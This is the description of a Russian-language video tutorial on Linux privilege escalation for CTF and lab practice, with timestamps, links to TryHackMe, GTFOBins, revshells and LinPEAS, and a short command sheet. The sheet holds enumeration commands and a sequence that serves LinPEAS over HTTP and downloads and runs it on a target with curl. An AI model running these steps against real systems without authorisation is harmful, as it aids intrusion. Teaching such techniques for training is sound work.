Как хакеры получают права root | Повышение привилегий в Linux

В этом видео я расскажу о повышении привилегий в Linux.
Если хотите узнать больше о взломе, загляните на мой Twitch, где я буду в прямом эфире в воскресенье в 12:00 по восточному времени.
  / pebl3  

Присоединяйтесь к HackTheBox: https://hacktheboxltd.sjv.io/jrMWo0
Присоединяйтесь к Discord:   / discord  

0:00 ВСТУПЛЕНИЕ
0:26 SUDO
1:26 SUID
4:03 ЗАДАНИЯ CRON
7:10 АВТОМАТИЗАЦИЯ
9:10 ЗАВЕРШЕНИЕ

TryHackMe Room: https://tryhackme.com/r/room/linprivesc
RevShells: https://revshells.com
PSPY: https://github.com/DominicBreuker/pspy
GTFO Bins: https://gtfobins.github.io/
LinPeas: https://github.com/peass-ng/PEASS-ng/...

SUDO:
sudo -l
SUID:
find / -type f -perm -04000 -ls 2(вставьте здесь знак «больше»)/dev/null
CRON-ЗАДАНИЯ:
cat /etc/crontab (но лучше использовать pspy)
АВТОМАТИЗАЦИЯ:
sudo apt install peass -y
cp /usr/share/peass/linpeas/linpeas.sh .
python3 -m http.server 80
curl http://(IP)/linpeas.sh -o /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh

инженер по кибербезопасности, пентест, этичный хакер, #хакер, кибербезопасность, этичный хакинг, начинающий хакер, внедрение кода, ctf, кибербезопасность, эксплойт, хакер, взлом, как взломать, инъекция, pebble, pebl3, tryhackme, хакеры, взлом Linux, hackthebox, введение в ctf, введение во взлом, информационные технологии, как использовать ctf, повышение привилегий, kali linux, повышение привилегий linux, privesc, priv esc, sudo -l, suid, sgid, задания cron, повышение привилегий linux в CTF, повышение привилегий CTF

Музыка: White Bat Audio